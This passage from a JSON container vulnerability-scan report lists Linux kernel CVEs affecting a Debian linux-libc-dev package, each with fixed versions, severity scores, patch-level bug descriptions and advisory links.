"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://dirtyfrag.io/", "https://errata.almalinux.org/9/ALSA-2026-A005.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4", "https://git.kernel.org/stable/c/50ed1e7873100f77abad20fd31c51029bc49cd03", "https://git.kernel.org/stable/c/52646cbd00e765a6db9c3afe9535f26218276034", "https://git.kernel.org/stable/c/5d55c7336f8032d434adcc5fab987ccc93a44aec", "https://git.kernel.org/stable/c/71a1d9d985d26716f74d21f18ee8cac821b06e97", "https://git.kernel.org/stable/c/8253aab4659ca16116b522203c2a6b18dccacea7", "https://git.kernel.org/stable/c/a6cb440f274a22456ef3e86b457344f1678f38f9", "https://git.kernel.org/stable/c/ab8b995323e5237041472d07e5055f5f7dcdf15b", "https://git.kernel.org/stable/c/b54edf1e9a3fd3491bdcb82a21f8d21315271e0d", "https://git.kernel.org/stable/c/f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4", "https://git.kernel.org/stable/c/fe785bb3a8096dffcc4048a85cd0c83337eeecad", "https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo/tree/main", "https://github.com/V4bel/dirtyfrag", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.5.0/BRSA-5cj3pxj0c0jg.toml", "https://linux.oracle.com/cve/CVE-2026-43284.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-43284", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43284.json", "https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8389-1", "https://ubuntu.com/security/notices/USN-8390-1", "https://ubuntu.com/security/notices/USN-8390-2", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8392-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8616-1", "https://www.cve.org/CVERecord?id=CVE-2026-43284", "https://www.openwall.com/lists/oss-security/2026/05/07/8", "https://www.openwall.com/lists/oss-security/2026/05/08/7", "https://www.vicarius.io/vsociety/posts/cve-2026-43284-detection-script-dirty-frag-linux-kernel-local-privilege-escalation", "https://www.vicarius.io/vsociety/posts/cve-2026-43284-mitigation-script-dirty-frag-linux-kernel-local-privilege-escalation" ], "PublishedDate": "2026-05-08T08:16:43.827Z", "LastModifiedDate": "2026-09-08T09:18:03.953Z" }, { "VulnerabilityID": "CVE-2026-43328", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43328", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6b10eee9943af96581da31d0f6acd73e33d0b6cdafd3c9b2ca3b34a1325798f2", "Title": "kernel: cpufreq: governor: fix double free in cpufreq_dbs_governor_init() error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: governor: fix double free in cpufreq_dbs_governor_init() error path\n\nWhen kobject_init_and_add() fails, cpufreq_dbs_governor_init() calls\nkobject_put(\u0026dbs_data-\u003eattr_set.kobj).\n\nThe kobject release callback cpufreq_dbs_data_release() calls\ngov-\u003eexit(dbs_data) and kfree(dbs_data), but the current error path\nthen calls gov-\u003eexit(dbs_data) and kfree(dbs_data) again, causing a\ndouble free.\n\nKeep the direct kfree(dbs_data) for the gov-\u003einit() failure path, but\nafter kobject_init_and_add() has been called, let kobject_put() handle\nthe cleanup through cpufreq_dbs_data_release().", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43328", "https://git.kernel.org/linus/6dcf9d0064ce2f3e3dfe5755f98b93abe6a98e1e%20%287.0-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-43328.mbox", "https://git.kernel.org/stable/c/019ea28629720c220daedf38107c8787f330dc05", "https://git.kernel.org/stable/c/3bf9d023d2329a0e5379f2fd09d06ef09729cd9d", "https://git.kernel.org/stable/c/427d048e4f6acbfa01b5a8062449fe0ee8987c0d", "https://git.kernel.org/stable/c/4b9118e93d2499bb2808ef3742fa0ce06f4f8117", "https://git.kernel.org/stable/c/56bc91ee78babe9578585a2bc137abc4b3115ff3", "https://git.kernel.org/stable/c/6dcf9d0064ce2f3e3dfe5755f98b93abe6a98e1e", "https://git.kernel.org/stable/c/d2703b4f8fb7cc6f0dfdb2dc2359cc46189e7357", "https://git.kernel.org/stable/c/da39ee627fd82b52068d4d5f115749a8b7d271f9", "https://linux.oracle.com/cve/CVE-2026-43328.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-43328", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43328" ], "PublishedDate": "2026-05-08T14:16:42.397Z", "LastModifiedDate": "2026-11-06T16:18:35.387Z" }, { "VulnerabilityID": "CVE-2026-43329", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43329", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8fa8a81708b9e4e6ea4f6d03dd70831c3c7e4eed4cf36c8169f461fe2834b3c1", "Title": "kernel: netfilter: flowtable: strictly check for maximum number of actions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: flowtable: strictly check for maximum number of actions\n\nThe maximum number of flowtable hardware offload actions in IPv6 is:\n\n* ethernet mangling (4 payload actions, 2 for each ethernet address)\n* SNAT (4 payload actions)\n* DNAT (4 payload actions)\n* Double VLAN (4 vlan actions, 2 for popping vlan, and 2 for pushing)\n for QinQ.\n* Redirect (1 action)\n\nWhich makes 17, while the maximum is 16. But act_ct supports for tunnels\nactions too. Note that payload action operates at 32-bit word level, so\nmangling an IPv6 address takes 4 payload actions.\n\nUpdate flow_action_entry_next() calls to check for the maximum number of\nsupported actions.\n\nWhile at it, rise the maximum number of actions per flow from 16 to 24\nso this works fine with IPv6 setups.", "Severity": "HIGH", "CweIDs": [ "CWE-122", "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23329", "https://access.redhat.com/errata/RHSA-2026:26427", "https://access.redhat.com/errata/RHSA-2026:26428", "https://access.redhat.com/errata/RHSA-2026:27713", "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:33215", "https://access.redhat.com/errata/RHSA-2026:33899", "https://access.redhat.com/errata/RHSA-2026:33900", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34095", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:35896", "https://access.redhat.com/errata/RHSA-2026:40764", "https://access.redhat.com/errata/RHSA-2026:43252", "https://access.redhat.com/errata/RHSA-2026:44230", "https://access.redhat.com/errata/RHSA-2026:44231", "https://access.redhat.com/errata/RHSA-2026:44259", "https://access.redhat.com/errata/RHSA-2026:44262", "https://access.redhat.com/errata/RHSA-2026:47702", "https://access.redhat.com/errata/RHSA-2026:47727", "https://access.redhat.com/errata/RHSA-2026:54187", "https://access.redhat.com/errata/RHSA-2026:55618", "https://access.redhat.com/errata/RHSA-2026:55761", "https://access.redhat.com/errata/RHSA-2026:55762", "https://access.redhat.com/errata/RHSA-2026:55763", "https://access.redhat.com/errata/RHSA-2026:55837", "https://access.redhat.com/errata/RHSA-2026:56224", "https://access.redhat.com/errata/RHSA-2026:56225", "https://access.redhat.com/errata/RHSA-2026:56853", "https://access.redhat.com/errata/RHSA-2026:56911", "https://access.redhat.com/security/cve/CVE-2026-43329", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464096", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2468124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://errata.rockylinux.org/RLSA-2026:26427", "https://git.kernel.org/linus/76522fcdbc3a02b568f5d957f7e66fc194abb893%20%287.0-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-43329.mbox", "https://git.kernel.org/stable/c/504c9456699dcf4d15195ef34a0fa94a80bfc877", "https://git.kernel.org/stable/c/5382bb03e9c33b089d60788478b922a2dca284cc", "https://git.kernel.org/stable/c/57c78bd2e2dd08897acd35b2bf8bcef322e36f5e", "https://git.kernel.org/stable/c/76522fcdbc3a02b568f5d957f7e66fc194abb893", "https://git.kernel.org/stable/c/879959a7a2be814dd57568655eafa3d8f4d0309e", "https://git.kernel.org/stable/c/ead66c77303f760f6c30be96e2e20d5a77cef614", "https://git.kernel.org/stable/c/fe9018d3e94329f1951b00805a8640bc06f56ead", "https://linux.oracle.com/cve/CVE-2026-43329.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-43329", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43329.json", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43329" ], "PublishedDate": "2026-05-08T14:16:42.52Z", "LastModifiedDate": "2026-10-19T20:18:13.59Z" }, { "VulnerabilityID": "CVE-2026-43378", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43378", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3ced75e9679650b5531a465ef3a7943332301b8849b37a455b59970a1472a112", "Title": "kernel: smb: server: fix use-after-free in smb2_open()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: server: fix use-after-free in smb2_open()\n\nThe opinfo pointer obtained via rcu_dereference(fp-\u003ef_opinfo) is\ndereferenced after rcu_read_unlock(), creating a use-after-free\nwindow.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43378", "https://git.kernel.org/linus/1e689a56173827669a35da7cb2a3c78ed5c53680%20%287.0-rc4%29", "https://git.kernel.org/stable/c/190e5f808e8058640b408ccfed25440b441a718a", "https://git.kernel.org/stable/c/1e689a56173827669a35da7cb2a3c78ed5c53680", "https://git.kernel.org/stable/c/54b48ae83de8bb06e65079d96368efe359d4909c", "https://git.kernel.org/stable/c/8f5b1a7cb009a93c48e9e334a2f59a660f9afc07", "https://git.kernel.org/stable/c/b720c84087cb547f23ce03eab93568c1769e4556", "https://git.kernel.org/stable/c/e1b21e6066615e7d3d3a7aa2677e415e563fd7cc", "https://lore.kernel.org/linux-cve-announce/2026050832-CVE-2026-43378-d7e3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43378", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://www.cve.org/CVERecord?id=CVE-2026-43378" ], "PublishedDate": "2026-05-08T15:16:48.99Z", "LastModifiedDate": "2026-06-17T10:49:29.15Z" }, { "VulnerabilityID": "CVE-2026-43380", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43380", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7ac8db2c072582c359d4b927c28834ff6a628e0bcae8408ee2ca3d854b0ab90f", "Title": "kernel: hwmon: (pmbus/q54sj108a2) fix stack overflow in debugfs read", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (pmbus/q54sj108a2) fix stack overflow in debugfs read\n\nThe q54sj108a2_debugfs_read function suffers from a stack buffer overflow\ndue to incorrect arguments passed to bin2hex(). The function currently\npasses 'data' as the destination and 'data_char' as the source.\n\nBecause bin2hex() converts each input byte into two hex characters, a\n32-byte block read results in 64 bytes of output. Since 'data' is only\n34 bytes (I2C_SMBUS_BLOCK_MAX + 2), this writes 30 bytes past the end\nof the buffer onto the stack.\n\nAdditionally, the arguments were swapped: it was reading from the\nzero-initialized 'data_char' and writing to 'data', resulting in\nall-zero output regardless of the actual I2C read.\n\nFix this by:\n1. Expanding 'data_char' to 66 bytes to safely hold the hex output.\n2. Correcting the bin2hex() argument order and using the actual read count.\n3. Using a pointer to select the correct output buffer for the final\n simple_read_from_buffer call.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43380", "https://git.kernel.org/linus/25dd70a03b1f5f3aa71e1a5091ecd9cd2a13ee43%20%287.0-rc3%29", "https://git.kernel.org/stable/c/24a7b9daa103fa963b3fd37d8805b23e01621976", "https://git.kernel.org/stable/c/25dd70a03b1f5f3aa71e1a5091ecd9cd2a13ee43", "https://git.kernel.org/stable/c/52db5ef163c96f916d424e472fb17aadc35a9f7a", "https://git.kernel.org/stable/c/73a7a345816946d276ad2c46c8bb771de67cfc46", "https://git.kernel.org/stable/c/a0fc1b9c738fba231f190ab960c83202722efee5", "https://git.kernel.org/stable/c/b48a0f8d4541a4f6651dc9a64430ce9fdf5c120b", "https://git.kernel.org/stable/c/c59090c50f62a17129fc4c5407bc4071305a9e82", "https://lore.kernel.org/linux-cve-announce/2026050832-CVE-2026-43380-d98b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43380", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43380" ], "PublishedDate": "2026-05-08T15:16:49.207Z", "LastModifiedDate": "2026-06-17T10:49:29.37Z" }, { "VulnerabilityID": "CVE-2026-43386", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43386", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6412a491bbd027b64a4f7de2c6ea41719c1970f5b92e123665e418f3e3ffe71e", "Title": "kernel: staging: rtl8723bs: fix potential out-of-bounds read in rtw_restruct_wmm_ie", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: rtl8723bs: fix potential out-of-bounds read in rtw_restruct_wmm_ie\n\nThe current code checks 'i + 5 \u003c in_len' at the end of the if statement.\nHowever, it accesses 'in_ie[i + 5]' before that check, which can lead\nto an out-of-bounds read. Move the length check to the beginning of the\nconditional to ensure the index is within bounds before accessing the\narray.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43386", "https://git.kernel.org/linus/a75281626fc8fa6dc6c9cc314ee423e8bc45203b%20%287.0-rc4%29", "https://git.kernel.org/stable/c/12cc6e8f8d4245b7b5a408c6fc8ab1d098d67020", "https://git.kernel.org/stable/c/209644e25757c499e1c1f08c071ea0386d4448b6", "https://git.kernel.org/stable/c/4dd2d9cf563c54e09d5f7eacf95c5b8f538b513b", "https://git.kernel.org/stable/c/6ff2243d5e05a5239e39d4ba61d96b0ea3bf7259", "https://git.kernel.org/stable/c/768f25613a9fe6766d15a4a72979657adfc1c6d8", "https://git.kernel.org/stable/c/a75281626fc8fa6dc6c9cc314ee423e8bc45203b", "https://git.kernel.org/stable/c/d97fc1b29513010b60fde874c7f0ba816744e18c", "https://git.kernel.org/stable/c/e14a1148f02e8cf1ca380d57e4b95ca36c97f45d", "https://lore.kernel.org/linux-cve-announce/2026050835-CVE-2026-43386-c764@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43386", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43386" ], "PublishedDate": "2026-05-08T15:16:49.933Z", "LastModifiedDate": "2026-06-17T10:49:30.087Z" }, { "VulnerabilityID": "CVE-2026-43426", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43426", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9db3fce9839f80c13a67f3f256ead4cdb3e7b65b4432f76afcd5a7c1a60b5001", "Title": "kernel: usb: renesas_usbhs: fix use-after-free in ISR during device removal", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: renesas_usbhs: fix use-after-free in ISR during device removal\n\nIn usbhs_remove(), the driver frees resources (including the pipe array)\nwhile the interrupt handler (usbhs_interrupt) is still registered. If an\ninterrupt fires after usbhs_pipe_remove() but before the driver is fully\nunbound, the ISR may access freed memory, causing a use-after-free.\n\nFix this by calling devm_free_irq() before freeing resources. This ensures\nthe interrupt handler is both disabled and synchronized (waits for any\nrunning ISR to complete) before usbhs_pipe_remove() is called.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": 